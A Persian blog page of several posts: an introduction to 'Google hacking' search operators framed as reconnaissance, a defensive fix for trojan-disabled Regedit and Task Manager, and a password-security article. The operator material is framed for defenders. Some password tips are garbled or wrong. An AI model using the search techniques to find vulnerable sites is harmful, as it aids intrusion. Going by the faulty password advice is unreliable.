تنها صفحاتي که داراي لينک به صفحه اصلي سايت پرشين هکرز مي باشند ‏را نمايش مي دهد. توجه داشته باشيد که اين جستجو صفحاتي را که به ‏آدرس ‏www.Persianhacker.net/forums‏ لينک ‏داده باشند را ليست نمي کند‏


‎‏ ‏cache:‎‏ نمايش نسخه ذخيره شده از سايت توسط گوگل ‏‏‎
اين عملگر نسخه ذخير شده از سايت را که روبات هاي گوگل هنگام ليست ‏کردن سايت از آن برداشت کرده اند را نمايش مي دهد به عنوان مثال:‏


CODE

cache:www.PersianHacker.Net
cache:http://www.PersianHacker.Net

اين جستجو ها صفحه ذخيره شده از سايت پرشين هکرز را که توسط ‏گوگل ثبت شده ، نمايش مي دهند. توجه داشته باشيد که هردوي اين ‏عبارات نتيجه اي يکسان را در ‏بر خواهند داشت و گذاشتن يا نگذاشتن ‏‏http://‎‏ تاثيري در جستجو ندارد.‏


‎‏ ‏intitle:‎‏ جستجو در ميان عناوين ‏‎
اين عملگر گوگل را محدود به جستجو در ميان عناوين توضيحي وب ‏سايت ها ، مي کند.اين عملگر به واژه توضيحي اضافي نيازي ندارد
مثال:‏
CODE

intitle:"New Exploit‏"‏



مي توان با آورد ‏all‏ بر سر اين عملگر ، جستجو را تنها در عناوين انجام ‏داد. مثال :‏
CODE

allintitle:"new Exploit" Download ‎Dcom


که اين عبارت ، سه عبارتي که در بالا آمده را در ميان عناوين جستجو مي ‏کند

‎‏ ‏inurl:‎‏ جستجو در ميان آدرس سايتها ‏‎
با اين عملگر کاربر مي تواند آدرس هايي را که داراي کلمه مشخصي مي ‏باشند ، پيدا کند.‏
مثال:‏
CODE

inurl:amidala

که نتيجه اين جستجو مي تواند مواردي مانند ‏‏http://www.yarwood.org/kell/amidala/‎‏ ‏باشد که داراي کلمه ‏amidala‏ در آدرس خود ‏هستند.‏

اين عملگر همانند عملگر ‏intitle‏: مي تواند به صورت زير نيز به کار ‏رود:‏
CODE

allinurl:amidala gallery‎



همانطور که توضيح داده شد اين عملگر به دنبال هردو کلمه ‏amidala ‎gallery‏ در آدرس سايتها مي گردد.‏

براي ليست کاملي از تمامي عملگر هاي گوگل مي توانيد به آدرس ‏‏http://www.google.com/help/operators‎.html‏ مراجعه کنيد.‏


‎‏ توضيحي در مورد نحوه توليد ‏URL‏ جستجو در گوگل ‏‎
کاربران پيشرفته گوگل در اغلب موارد براي جستجو از نوارابزار گوگل ‏براي جستجو استفاده مي کنند يا خود به طور دستي ‏URL‏ جستجو ‏را وارد ‏مي کنند.‏
براي مثال به ‏URL‏ توليد شده توسط گوگل براي کلمه ‏sardine‏ ‏توجه کنيد:‏

CODE

http://www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=sardine‎

قبل از هر چيز متذکر مي شوم که ‏URL‏ پايه برا جستجو عبارت است از ‏‏http://www.google.com/search‏ که علامت سوال ‏‏URL‏ ‏را از بقيه قسمتها جدا مي کند و آغازگر قسمت جستجو مي باشد.‏
‏ علامت ‏‎“&”‎‏ آرگومنت ها را از يکديگر جدا مي کند. گزينه هايي که در ‏‏URL‏ موجود مي باشد به خيلي از موارد مانند زبان مليتي کاربر و ... مربوط ‏‏مي باشد که ليست کامل اين موارد در ‏‏http://www.google.com/apis‏ قابل رويت است.‏

آرگومنت هايي که در ‏URL‏ بالا استفاده شده اند عبارتند از: ‏
hl:‎‏ زبان نمايش نتايج که در اين حالت ‏‎“en”‎‏ يا انگليسي مي باشد‏
ie:‎‏ انکدينگ ورودي داده ها که در اين حالت ‏‎“UTF-8”‎‏ است‏
oe:‎‏ انکدينگ خروجي داده ها که در اين حالت ‏‎“UTF-8”‎‏ است‏
q: ‎‏ مخفف عبارت ‏Query‏ که در مقابل آن عبارت مورد جستجوي ‏کاربر مي آيد در اين حالت اين کلمه ‏sardine‏ مي باشد‏

بسياري از آرگومنت هاي اين ‏URL‏ قابل حذف هستند به طوريکه جستجو ‏مي تواند باتنها ‏URL‏ :‏

‏ ‏‎
CODE

http://www.google.com/search?q=sardine‎



صورت بگيرد!‏
همچنين جستجو مي تواند با چندين کلمه مانند زير انجام پذيرد:‏
CODE

http://www.google.com/search?q=sardine+peanut+butter



گوگل و يا هر سايت جستجوي ديگر بعضي از کارکترها را به معادل آنها ‏در هگزادسيمال تبديل مي کنند که با يک علامت % دنبال مي شوند به ‏عنوان مثال علامت " در هگزادسيمال به ‏صورت ‏‎%22‎‏ نمايش داده مي شود ‏و همچنين فضاهاي خالي با علامت + جايگزين مي شوند. مثال:‏
CODE

http://www.google.com/search?&q=%22the+quick+brown+fox%22‎


پايان قسمت اول
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 گوگل هكينگ
قبل از شروع لازم به ذکر است که در اين مقاله سعي به معرفي کامل ‏گوگل شده است و از نظر دوستان شايد قسمت اول اين مقاله کسل ‏کننده باشد ولي به هر حال افرادي هستند که با گوگل به اين شکل ‏آشنا نباشند و حتي ممکن است در لابه لاي مطالب نکته هايي باشدکه ‏خود شما هم تا به حال نشنيده باشيد.‏
‏ ‏
خوب شروع مي کنيم:‏

‎گوگل هکرز‎

موتور جستجوي گوگل در آدرس ‏www.google.com‏ امکانات ‏بسياري مانند (جستجو در وب، تصاوير ، اخبار ،گروهاي خبري و ‏ترجمه متون و ....) در اختيار وبگردان قرار مي دهد . ‏
اين امکانات همانطور که کار بسياري از دانش طلبان و يا خريداران ‏را راه مي اندازد، مورد استفاده نامشروع کاربران شرور، هکران ، ‏دزدان کلاهبردار ، حتي گروههاي تروريستي قرار ميگرد. اين مقاله ‏سعي دارد تا با آشنا ساختن وب مسترها و ادمين ها با اين نوع استفاده ‏از گوگل که به "گوگل هکينگ" شهرت يافته ، باعث کاهش ‏صدمات و خطرات وارده بر سايت ها و منابع اطلاعاتي شود.‏

‎صفحه کاربري جستجوي گوگل‎‎‏ ‏
user posted image
شکل 1‏

همينطور که در شکل 1 معلوم است ، من کلمه ‏‎“sardine”‎‏ را در ‏صفحه جستجو وارد کردم. شکل 1 خيلي از امکانات گوگل را نمايش مي ‏دهد:‏

‎نوار ابزار گوگل:‏‎
اينترنت اکسپلورري که من از آن اسنفاده کردم داراي نوار ‏ابزار گوگل است (يک برنامه رايگان که ميتوانيد از ‏toolbar.google.com‏ دريافت کنيد) البته اين بک ‏ابزار لازم براي استفاده از امکانات پيشرفته گوگل نيست و ‏تمامي امکاتات گوگل در صفحه اصلي آن در ‏www.google.com‏ قابل دسترسي است.‏

‎برگه هاي : ‏Web, Images,‎،Groups, ‎Directory ‎‏ ‏News ‎
اين برگه ها به شما امکان جستجو در صفحات وب ، عکسها ، پيغام ‏هاي گروهها ، دايرکتوري گوگل و اخبار را مي دهد.‏

‎فيلد جستجوي گوگل ‏‎
فيلد جستجوي گوگل درست در زير اسامي برگه ها قرار دارد و ‏کاربران مي توانند با وارد کردن متن مورد نظر خود به جستجو بپردازند.‏

‎دکمه‎ “I’m Feeling Lucky”‎‏ ‏‎
کاربران با فشردن کليد ‏‎“I’m Feeling Lucky”‎‏ به جاي ‏مواجه شدن با ليست نتايج جستجو ، به اولين سايت در ليست که ‏داراي بيشترين امتياز نيز مي باشد، وارد مي شوند که در اکثر مواقع ‏نتيجه مطلوبي به دست مي آيد.‏

‎‏ لينک ‏‎“Advanced Search”‎‏ ‏‎
کاربران به وسيله لينک ‏‎“Advanced Search”‎‏ به صفحه ‏اي که در شکل شماره 2 نشان داده شده است منتقل مي شوند و ‏در اين صفحه به بسياري از امکانات پيشرفته جستجو در گوگل ‏دست پيدا مي کنند. البته کليه امکانات پبشرفته گوگل در اين ‏صفحه ليست نشده است.‏

‎‏ لينک‎ “Preferences” ‎‏ ‏‎
لينک‎ “Preferences”‎‏ کاربران را به صفحه تنظيمات ‏هدايت مي کند . در اين صفحه کاربران به تنظيماتي از قبيل : ‏زبان ، فيلتر ها ، تعداد نتايج در هر صفحه و ... دسترسي دارند.‏

‎لينک ‏‎“Language tools”‎‏ ‏‎
کاربران به وسيله اين لينک مي توانند به امکانات بسياري در ‏رابطه با زبان و ترجمه متون از زباني به زبان ديگر دست پيدا کنند.‏

user posted image
شکل 2‏

هنگامي که کاربر متن جستجو را وارد و کليد ‏‎“Submit Search”‎‏ را ‏فشار مي دهد ، مطابق شکل 3 صفحه نتايج آشکار مي شود.‏
user posted image

شکل 3‏


حال به معرفي قسمت هاي مختلف صفحه نتايج مي پردازيم :‏


‎‏ خط بالايي‎
در خط بالايي ( که درست در زير اسامي برگه ها قرار دارد) ‏واژه هاي جستجو شده ، تعداد نتايج يافته شده و مدت زمان جستجو را ‏نمايش مي دهد.‏

‎‏ لينک ‏‎“Category”‎‏ ‏‎
اين لينک شما را به قسمتي از گوگل دايرکتوري که مرتبط با ‏موضوع جستجوي شما مي باشد منتقل ميکند . گوگل ‏دايرکتوري مجموعه اي بسيار منظم از وب سايت ها است که به ‏وسيله گوگل جمع آوري شده است‏

‎‏ لينک صفحه اصلي‎
اين لينک شما را به صفحه اصلي سايت پيدا شده هدايت مي ‏کند . در شکل شماره 3 اين لينک به صورت ‏‎“Sardine ‎Factory :: Home page”‎‏ نمايش داده شده است

‎توضيح ‏‎
توضيح مختصري از سايت در اين قسمت قابل مشاهده است.‏

‎لينک ‏Cached‏ ‏‎
اين لينک شما را به کپي صفحه که توسط گوگل ذخيره شده ‏است هدايت مي کند. اين کپي بسيار کاربردي خواهد بود ‏هنگامي که محتويات صفحه تغيير و يا سرور سايت از کار افتاده ‏باشد.‏

‎لينک ‏‎ “Similar Pages”‎‏ ‏‎
به وسيله اين لينک گوگل شما را به وب سايت هاي مشابه و ‏مرتبط منتقل مي کند.‏

‎‏ لينک ‏‎ Sponsored‎‏ ‏‎
در اين قسمت آدرس اسپاسرهاي گوگل که کالايي مرتبط با ‏موضوع جستجوي شما ارائه مي دهند نمايش داده مي شود.‏
user posted image
شکل 4‏

در بعضي مواقع کاربر ممکن است به جاي صفحه نتايج با صفحه اي ‏مانند شکل 4 مواجه شود. اين صفحه پيغام خطاي گوگل است که به ‏طور کلي به اين معني است که اطلاعات براي جستجو به درستي وارد ‏نشده اند.‏
علاوه بر پيغام خطاي شکل 4 ، صفحه ديگري مطابق شکل 5 ممکن ‏است ظاهر شود که البته در اين صفحه در مورد خطا بيشتر شرح داده ‏شده است و به کاربر مي گويد که نتيجه اي براي جستجو يافت نشده ‏است و کاربر نسبت به تغيير اطلاعات براي جستجو اقدام کند.‏
user posted image
شکل 5‏



‎تکنيک هاي جستجوي مقدماتي ‏‎
جستجوي مقدماتي گوگل به وسيله وارد کردن لغت يا لغاتي بدون ‏وجود کوتيشن امکان پذير است به عنوان مثال:‏
CODE

peanut butter
butter peanut
olive oil popeye




‎‏ کاربرد "+" ‏‎
وقتي که تعدادي کلمه در ليست وارد مي شود گوگل به ‏دنبال تک تک عبارات وارد شده مي گردد. در اکثر ‏موتورهاي جستجو پارامتر ‏‎“AND”‎وجود دارد که اين کار را ‏انجام مي دهد به عبارت ديگر گوگل به طور خودکار ‏‎“AND”‎‏ را اضافه مي کند. گوگل از "+" به صورتي متفاوت ‏استفاده مي کند. ‏
هنگام جستجو در گوگل وقتي عباراتي نظير‎“the”, “how”‎‏ و ‏يا ‏‎“where”‎‏ وارد شود گوگل به دليل زيادي نتايج حاصل از ‏جستجوي اين کلمات از جستجوي اين گلمات چشم پوشي مي ‏کند. قرار دادن "+" قبل از اين کلمات به گوگل مي گويد که ‏حتماً از اين کلمات در جستجو استفاده شود. در هنگام استفاده از ‏‏"+" توجه شود که نبايد فاصله اي بين "+" و عبارت مورد نظر ‏باشد. ‏
user posted image
شکل 6‏

براي مثال نتيجه حاصل از دو جستجوي زير متفاوت خواهد بود:‏
CODE

where quick brown fox
‎+where quick brown fox


از "+" در جستجوي پيشرفته نيز استفاده مي شود که در آينده ‏توضيح خواهم داد.‏

‎‏ کاربرد "‏‎-‎‏"‏‎
از "-" براي حذف کردن واژه اي از جستجو استفاده مي ‏شود به عبارت ديگر با به کاربردن "-" قبل از عبارت ‏‏"‏cost‏" به گوگل اعلام مي کنيم صفحاتي که داراي ‏عبارت ‏cost‏ هستند را در صفحه نتايج ليست نکن .‏
براي مثال نتيجه حاصل از دو جستجوي زير متفاوت خواهد بود:‏
CODE

quick brown fox
quick –brown fox


از "-" در جستجوي پيشرفته نيز استفاده مي شود که ‏در آينده توضيح خواهم داد.‏

‎جستجوي عبارت‎
براي جستجوي يک عبارت چندکلمه اي تنها کافي است ‏که عبارت را داخل کوتيشن " " قرار دهيم.‏
مثال:‏
CODE

‎“the quick brown fox”‎
liberty and justice for all”‎
‎“harry met sally”‎

ازاين روش جستجو در جستجوي پيشرفته نيز استفاده ‏مي شود ‏

‎‏ جستجوي تلفيقي‎
در جستجوي تلفيقي مي توان هم از عبارت و هم از کلمه منفرد ‏استفاده کرد.‏
مثال:‏
CODE

macintosh "microsoft office"‎


صفحه نتايج اين جستجو فقط شامل وب سايتهايي است که ‏شامل ‏‎"microsoft office"‎‏ و ‏macintosh‏ باشند.‏

 ‎در قسمت بعد به جستجوي ‏پيشرفته در گوگل مي پردازم.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
  فعال كردن Registry و TaskManager و...
اين مقاله براي دفاع در برابر كليه تروجان ها كه قالبيت غير فعال كردن رجيستري و MsConfig و Task Manager رو دارند مفيد خواهد بود همان طور كه همه مي دونند تروجاني مثل مجيك مي تونه كار ما رو سخت كنه چون سه ابزار
رو در خودش داره و ممكن هست سرور بر روي اين سه ابزار تنظيم شده باشه!

يعني..
Disable Regedit
Disable TaskMgr In WinXP 2K
Disable MsConfig

خوب اگر ما سرور مجيك بر روي سيستممان اجراشد و TaskManager , Regedit غيرفعال شد هيچ كاري نمي تونيم بكنيم و نمي توانيم از طريق راه هاي اشاره شده مجيك رو پاك كنيم چون نياز داريم كه حتما Registry فعال شود پس من به شما آموزش مي دم كه چطور Task Manager , Registry رو از حالت غيرفعال بودن كه توسط حمله ويروس يا تروجان صورت گرفته رو به حالت اول خود برگردانيد

حال نحوه فعال كردن رجيستري رو ياد مي دم!!
بايد اول اطمينان پيدا كنيم كه رجيستري غير فعال شده!!
اگر Error Registry Has Been Disabled By Your Administrator رو مشاهده كرديد پس 100٪ رجيستري غير فعال شده حالا ما كافيه كه يك Dword Value ايجاد كنيم به نام DisableRegistryTools در مسير
CODE

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

و مقدار اون رو براي فعال شدن رجسيتري در Modify صفر (0) بدهيم منتها مشكل اينجاست كه ما به رجسيتري دسترسي نداريم پس از Reg فايل استفاده مي كنيم
نت پد را باز كنيد!!
كد زير را وارد كنيد و با پسوند .reg ذخيره كنيد!!
CODE

REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000

البته من Reg فايل مربوطه رو آماده كردم كه اگر حوصله ساخت رو نداشته باشيد از اين استفاده كنيد مي تونيد از اينجا دريافت كنيد!!
DownLoad UnlockRegedit.reg

فعال كردن TaskManager

حالا ما تونستيم رجيستري رو از حالت غير فعال در بياريم براي فعال كردن TaskManager به رجسيتري رفته و مسير زير را دنبال كنيد!!

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
در داخل مسير زير يك Dword value به نام DisableTaskMgr خواهيد ديد اگر نبود بسازيد و مقدار اون رو در Modify صفر(0) بدهيد اگر 1 مشاهده كرديد بدانيد كه Task Manager غير فعال هست و براي فعال شدن مقدار 0 بدهيد و تمام..!!!


فعال كردن MsConfig در ويندوز 2000 و 2k
اكثر كاربران حرفه اي ويندوز مي دانند كه MsConfig يكي از ابزار هاي مفيد در كنار رجيستري براي كنترل ويندوز و سيستم عامل مي باشد كاربران ويندوز 2000 از نبود اين برنامه رنج مي برند و براي همين من فايل MsConfig.exe رو تهيه كردم تا كاربران ويندوز 2000 هم بتوانند از اين ابزار مفيداستفاده كنند كافيه كه فايل داده شده رو در پوشه ويندوز (WinNT) كپي كنند و با دستور MsConfig در Run اجراش كنند!!
اينم فايل MsConfig >>>> Download MsConfig
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 رمزنگاري
رمز نگاری : حملات متداول و راه حل های ممکن


مقدمه
ان از اینکه فقط کاربران مجاز،به اطلاعات حساس شرکت و یا ایمیل های شخصی خودشان دسترسی دارند میتوان کار چندان سادهای نباشد با توجه به این حقیقت که به طور متوسط هر کاربر باید حداقل 4الی 5 رمز را بخاطر بیاورد که برخی از این رمزها باید به طور ماهیانه نیز عوض شوند اکثریت کاربران به هنگام انتخاب و یا به خاطر آوردن یک رمز دچار ناامیدی میشوند و کاملا از عواقب کارهایشان به هنگام کنترل داده های حسابشان، ناگاه هستند.
این مقاله بر این ضرورت دارد که چقدر رمزهای امنیتی با وجود شکستنی بودنشان مهم و ضروری هستند همچنین روشهای مختلفی برای ایجاد و پشتیبانی از رمز ها بیان خواهد شد و متدهای جایگزینی ممکن برای این رمزها که به سه دسته Passphrases،Biomectrics وPKI(Public Key Infrastructure) تقسیم میشوند بررسی خواهد شد.
خطرات تحمیلی رمزها:

با وجود اینکه هنوز اکثریت سازمانها و تقریبا 99% کاربران خانگی ،به رمز ها به عنوان اصلی ترین شیوه کنترل منابع شخصی و حساس،وابسته هستند،اما ایجاد،پشتیبانی ناامن و انتقالات در طول شبکه میتواند درهای اطلاعات شخصی و یا سازمانی هر گروه یا دسته ای را بروی هکرها باز کند.
مدیرانی که هوز از الگوی قدیمی پیروی میکنند،فکر میکنند که ضروری ترین و ساده ترین روش برای شناسایی یک کاربر در یا پایگاه داده شان ،استفاده از رمز (Password)است اما حقیقت این است که کاربران با درک این نکته که لازم است رمزشان را دائما تغییر دهند و یا باید رمز امن داشته باشند ویا از برخی دستورالعمل ها پیروی کنند تا حتی الامکان رمزشان را محفوظ نگه دارند ناامید و آزرده خاطر میشوند و نتیجه این میشود که تعداد زیادی رمز های قابل شکستن بوجود آمده که اکثریت آنها روی سیستم های مختلف یکی هستند وحتی یاداشت هایی که حاوی اسم کاربر و رمز عبور میباشد اطراف میز کاربران یافت میشود.
در هر سیستمی،برخی ازکاربران بخصوص،امتیازاتی دارند که دیگران نداسته و یا نداشته باشند با معرفی کردن خودتان روی یک سیستم کامپیوتری و با هر وب سایت مورد نظری،به شما دسترسی کامل به محیط کارتان و اطلاعات شخصی داده خواهند شد اطلاعات ودادههایی که حساس بوده و نمیخواهید عموم مردم به آنها دسترسی داشته باشند درست مثل حالتی که یک کمپانی نمیخواهد به رقبای خود اجازه دسترسی به اینترنت خود را دهد سناریو های نه چندان جالب که در اثر فاش شدن داده های یک حساب (Account)بوجود میآند به شرح زیر میباشند:

Identity theft: دزدی هویت وقتی رخ میدهد که دادهای حساب شما و یا همان(Account) به دست شخص دیگری افتد و او خودش را به جای شما وانمود کرده تا کنترل هویت دیجیتالی شما را بدست گیرد این مساله باعث ایجاد خسارتهای مالی و هم شخصی خواهد شد
Sensitive Data Exposure: (فاش شدن داده های حساس)_محتوای ایمیل های شخصی شما ،پروژه های کاری ،اسناد و مدارک،... کیتواند به دست هکر ناشناس و یا کس دیگری که میخواهد مخصوصا شما را هدف قرار گذفته است، بیفتد
Company Data Exposure: فاش شدن داده های کمپانی)_ دزدیدن اطلاعات داخلی و محرمانه و حساس یک کمپانی در محافظت داده های حساب افراد میتواند تاثیر بدی روی آن کمپانی داشته باشد مه به طور مثال شما برایش کار می کنید:من شک دارم دوستی داشته باشید نقشه ها وبازار یابی شرکتی مه برایش کار میکنید از طریق شما به دست رقبایش بیفتد
Involvement In Criminal Activities: درگیر شدن در فعالیت های جنایی)_استفاده از حساب شما در فعالیت های مختلف جنایی نیز در اثر پیشتیبانی نادرست رمز ها حاصل میشود به خاطر داشته باشید که در این حالت همیشه با ردیابی مجرمین، پای حساب شما و در خود شما به ماجرا کشیده میشوید
توضیح:به نظر من موارد 1 و 2 کاربرد بیشتری داشته و بقیه موارد صرفا جهت اطلاع میباشد
سناریوهای متداول در فاش شدن رمزها:

Physical Security Breach: (شکستن امنیت به طور فیزیکی)_شکستن فیزیکی کامپیوتر شما حتی پیچیده ترین متدهای امنیتی و کد گذاری های دقیق را باز خواهد کرد یک Keylogger(قفل گشای) نرم افزاری وسخت افزاری ممکن است نصب شود و کلید PGP محرمانه شما فاش شود،بنا براین تمام دادههای حسابتان و با داده های کدگذاری شده شما آشکار خواهد شد مهم نیست که رمز شما چه اندازه کاراکتر داشته باشد و یا کاملا ایمن سازی شده باشد،زیرا شکستن فیزیکی رمز یکی از بحرانی ترین شرایط ممکن است.
Unintentionally Shared: (به اشتراک گذاری غیر عمدی)_یک کاربر ممکن است داده های حساب خود را به اشتراک گذارد بدون توجه به این که فاش کردن آن ،احتمال هک شدن توسط غریبه ها را افزایش میدهد معمولا یک رمز تحت شرایط مختلف بین دوستان ،رئیس ها وافراد خانواده به اشتراک گذارده میشود. یک منفعت بیان شده توسط برخی از کاربران برای این کار راحتی دو یا چند نفر است که با دانستن داده های یک حساب بخصوص میتوانند به یک منبع اطلاعتی ویژه دسترسی داشته باشند. همچنین رمزها از طریق بحث در مورد آنها بین همکاران یک شرکت نیز ممکن است به اشتراک گذارده شود به این ترتیب که در این بحث و گفتگو سیاست های اخیر شرکت برای اینتخاب رمز متدهای ی که هر کاربر برای انتخاب رمز خود استفاده کرده است و چگونگی پشتیباتی رمزها بیان میشود، و در بعضی از موارد در مورد این مساله که هرگز مدیریت از روش آنها برای مخفی کردن داده های حسابشان مطلع نخواهند شد صحبت میشود یکی از ساده ترین و بحرانی ترین روش برای دستیابی به دادهای حساس یک شرکت،سوال در مورد آن است، چه بطور مستقیم و یا غیر مستقیم که در حالت موضوعی است که در حال حاضر مورد توجه مهندسی اجتماعی است.
Cracked: ( شکستن)_گاهی اوقات در بعضی از شرایط دزدی،فایل رمز آن هکر شروع به شکستن فایل رمز خواهد شد ،به این ترتیب که تمام ترکیبات ممکن را بکار خواهد برد تا ضعیف ترین رمز را پیدا کرده و بعدا بتواند با استفاده از آن دیگر رمز ها را نیز باز کند در این شرایط که شرکت از دزدیده شدن فایل های رمز خود مطلع میشود باید بلافاصله به تمام کارمندان هشدار داده شود تا رمز های خود را تغییر دهند که حتی اگر ضعیف ترین رمز نیز شکسته شود دیگر اعتبار نداشته باشد گرچه، تگر شرکت از فاش شدن فایل رمز خود بیخبر باشد باید همواره سعی کند که فایل رمز خود را مثل یک هکر شکسته و ضعیف ترین رمز ها را فیلتر گذاری کند.
Sniffed: (تجسس مخفیانه)_آیا شما میدانید که چند کارمند از طریق کامپیوتری که قبلا رمزش شکسته شده و یا از طریق دوستانشان به اطلاعات و دادهای مهم و حساس دسترسی دارند؟
پاورقی:
(( داشتن قویترین رمزها لزوما مخفی ماندن آنها را تضمین نمیکند خصوصا اگر نقل وانتقالات از طریق اینترنت، کاملا ایمن سازی نشده باشد

به کاربران خود خود این توانایی را ندهید که بین متن ساده و یا SSL، یکی را برای رمز گذلری انتخاب کنند.در عوض تمام ارتباطات شبکه را مجبور سازید تا از حالت کد شده استفاده کنند یک توصیه مهم دیگر این است که بای هرکس خصوصیت (Last Login Form)(فرم آخرین اتصال) را فراهم سازید تا اگر متوجه Login بدون اجازه شدند بلافاصله مورد را گزارش دهند.
Gvessed: (حدس زدن)_نعداد زیادی کاربر هنوز هم سیاست های ساختار یافته رمز گذاری را به نحوی با گذاشتن رمز های حسی خود به بازی میگیرند که این روش به ظاهر قوی ولی در عمل ضعیف هنوز هم متداول است وعلتش هم اینست که تعداد کاربران زیادی برای رمز گذاری از کلمه های پیش پا افتاده مانند : (شماره تلفن،شماره شناسنامه،اسم دوست دختر،....)استفاده میکنند. گرچه امروزه به ندرت از این متد در مقایسه با دیگر روش های بحث شده استفاده میشود.
نکته: همیشه این نکته را به خاطر داشته باشید که بعضی از کاربران هنوز از رمزهایی استفاده میکنند که برپایه موضوعات ویا مارک های تجاری اشیای روی میز کارشان میباشد.
متداول ترین خطاها درپشتیبانی رمزها :
1- خاصیت Auto Fill: (پر کردن خودکار)_اکثریت برنامه کاربردی به شما این اجازه را میدهید که رمز ها و دادهای حساب خود را به حافظه بسپارید، اما اگر مطمئن نیستید که ان کامپیوتر کاملا در برابر شکستن فیزیکی رمز ها ایمن سازس شده است جدا از این به شما توصیه میشود که نگذارید به این روش رمزتان در حافظه برنامه باقی بماند مطمئن شوید که این ویژگی در مکان های عمومی مثل کافی نت ها نیز بکار گرفته نشود.
2- یادداشتهای«Post It»(الحاقی)_اغلب اوقات رمزها روی کاغذ نوشته شده و یا بدنر از همه کنار مانیتور و یا روی میز کار گذاشته میشود در این صورت به راحتی توسط مهاجمین احتمالی و یا افراد داخلی قابل مشاهده است.
3- « The Secret Place» (جایگاه مخفی)_خیلی از مردم فکر میکنند که یک جایگاه مخفی را برای خودشان زیر صفحه کلید و یا زیر میز پیدا کرده اند که کاملا فکر اشتباهی است زیرا اگر کسی متوجه شود نه تنها جایگاه مخفی آنها را یاد گرفته بلکه به راحتی میتواند با پرت کردن حواس آنها به رمز و یا حسابشان دست یابد با این وجود از آنجایی که خیلی از افراد دادهای حسابشان را روی کاغذ و یا PDAهای (رایانه دستی) و غیره نگه میدارند استراتژی زیر میتواند کمک بزرگی را در حفظ دادهایشان انجام دهد تا زمانیکه آن رمز یا داده ها را به خاطر بسپارند و آن کاغذ را دور انداخته و از شر آن خلاص شوند:
حداقل 6 یا 7 رمز متفاوت و قلابی را اطراف رمز اصلی یادداشت کنید حتی برخی از رمز ها را خط بزنید حتی رمز حقیقی را. زیرا اگر شانس بیاورید 2 یا 3 بار Login ناموفق باعث بسته شدن حسابتان خواهد شد و اگر یاداشت های شما بدست شخص دیگر افتاد هنوز این شانس را دارید که ممکن است آن شخس رمز حقیقی را پشدا نکند.گر چه این روش تضمین جدی را مهیا نخواهد ساخت واصلا توصیه نمیشود اما یک روش موثر برای کسانی که رمز خود را نا حفظ شدن کامل روی کاغذ نوشته وپیش خود نگاه میدارند.
چگونه یک رمز ایمن را انتخاب کنید:
انتخاب رمزهای ایمن مستلزم این است که بدانید رمزهای غیر امن کدامند.چگونه رمزها شکسته میشوند و پشت سر ایت«حاداقل 8 کاراکتر متشکل از حروف کوچک،بزرگ،اعداد وارقام و کاراکتر های ویژه»چه چیز هایی نهفته است به طور کلی هر چقدر رمز کوتاهتر باشد احتمال حدس زدن وشکستن آن بیشتر میشود یه هکر رمز تمام ترکیبات موجود از حروف و ارقام را بکار خواهد برد تا رمز مورد نظر را کشف کند استفاده ازحروف مختلف الفبا و آعداد(0-9)که به نام «رمز بر پایه اعداد»شناخته شده است باعث میشود احتمال شکسته شدن رمزتوسط هکر کاهش یابد روش متداول استفاده از دیکشنری مانند استکه بعنوان پایگاه داده رمزهای که به شکل لغات لیست شده و در آن دیکشنری میباشند به راحتی توسط هکر قابل شکسته شدن است به همین دلیل است که توصیه میکنم از رمزهای طولانیتر که شامل حروف و ارقام میباشد استفاده کنید تا هکر مجبور شود وقت بیشتری را صرف شکستن فایل رمز دزدیده کند.
هر زمان که رمزی را میسازید نکات زیر را مدنظر داشته باشید:

1- حداقل طول آن 7کاراکتر باشد و در آن از ترکیب حروف کوچک و بزرگ و حداقل یک عدد و کاراکتر های ویژه چون + -()%$#@! و ... استفاده کنید
2- از یک لغت موجود در دیکشنری و یا ترکیب منطقی ازکارکنر ها مثل aaa555ccc ویا123456789استفاده نکنید.
3- سعی کنید رمزی که قبلا روی سیستم دیگری استفاده میکردید را بکار نبرید هر گز از یک رمز برای دسترسی به تمام داده ها و اطلاعات مهم خود در مکانها وسیستم های مختلف استفاده نکنید.
روش های مختلف رمز نگاری قوی اما در عین حال ساده برای به خاطر آوردن به شرح زیر است:

1- از یک لغت موجود در دیکشنری استفاده کرده مانند(Success) ولی آن را برعکس کنید(sseccus)
2-جلو و یا پشت آن لغت چند عدد اضافه کنید مثلا(146sseccus یا sseccus953)
3-همیسه حداقل از یک کاراکتر ویژه در جایی از رمز خود استفاده کنید مثل(=+-()*&^%$#@!)
4-استفاده حداقل یک حرف بزرگ در رمز احتمال شکسته شدن رمز را افزایش میدهد
5-بجای برخی از کاراکتر ها از اعدادی که به آنها مربوط میباشند استفاده کنید:مثلا به جای Securityاز کلمه s3cur1ty استفاده منید3به جای e و1به جای استفاده شده است
6-هر حروف را با یک عدد از هم جدا کنید مثلا(به جای security از این s1e3c5u7r9i2t4y8 اسنفاده کنید)
چگونه رمز ها را حفظ کنیم:
حفظ کردن تعداد مخفی رمز برای کاربرد های گوناگون،مشکل اصلی اکثریت کاربر استبه همبن علت اغلب آنها حفظ کردن رمز را نادیده گرفته،آنها را روی کاغذ نوشته و یا از رمزهای ضعیف ولی آسان برای بخاطر آوردن استفاده میکننداما اگر افراد سعی کنند رمزها را نه بعنوان ترکیبی از کاراکترهای به دردنخور،بلکه روشی برای مشخص کردن هویتشان درست مثل زمانی که از دستگاه خود پرداز پول میگیرند حفظ کنند به خاطر آوردن این رمزها ساده خواهد شد زیرا در این حالت داده های شخصی وشرکتشان است که باید سعی در محافظت آن کنند
1- مربوط کردن رمزها به یکدیگر:ارنباط رمزها نقش مهمی در حفظ کردن آنها بازی میکند با صرف یک زمان مشخص،حتی میتوانید از یک آدم ژاپنی یاد بگیرید آکر آن شخص بفهمد که شما چه روشی را برای حفظ کردن استفاده میکنید و از همه مهمتر چگونه چیزها را مربوط میسازید دیدن رمز،یک روش بسیار مهم دیگر برای حفظ کردن آن است و ظرف مدت کوتاهی حتی بدون اینکه فکر کنید چه چیزی را تایپ میکنید به راحتی رمز را وارد خواهید کردن یک عادت موقت با توجه به این حقیقت که اکثریت سازمانها وشرکت ها دائما رمزهای خود را تغییر میدهند
